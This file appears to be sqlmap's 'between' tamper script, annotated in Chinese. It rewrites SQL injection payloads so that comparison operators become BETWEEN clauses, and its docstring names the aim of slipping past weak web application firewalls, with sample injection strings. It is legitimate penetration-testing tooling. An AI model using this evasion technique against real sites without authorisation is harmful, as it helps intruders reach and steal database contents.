#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    这个函数用于篡改（tamper）输入的payload，将大于操作符（'>）替换为'NOT BETWEEN 0 AND #'，将等于操作符（'='）替换为'BETWEEN # AND #'。

    测试情况：
        * 微软 SQL Server 2005
        * MySQL 4, 5.0 和 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    注意：
        * 这个替换很有用，可以绕过那些只过滤大于字符的弱Web应用防火墙。
        * BETWEEN子句是SQL标准。因此，这个tamper脚本应该适用于所有数据库。

    示例：
        >>> tamper('1 AND A > B--')
        '1 AND A NOT BETWEEN 0 AND B--'
        >>> tamper('1 AND A = B--')
        '1 AND A BETWEEN B AND B--'
        >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
        '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
    """


    retVal = payload # 初始化返回值

    if payload:# 如果payload不为空
        # 使用正则表达式查找并替换大于操作符（'>）
        match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)

        if match: # 如果找到匹配项
            _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
            retVal = retVal.replace(match.group(0), _) # 替换匹配项
        else:
            retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) # 替换大于操作符

        if retVal == payload: # 如果返回值未改变，尝试替换等于操作符（'=）
            match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload)

            if match:# 如果找到匹配项
                _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
                retVal = retVal.replace(match.group(0), _)# 替换匹配项


    return retVal# 返回篡改后的payload
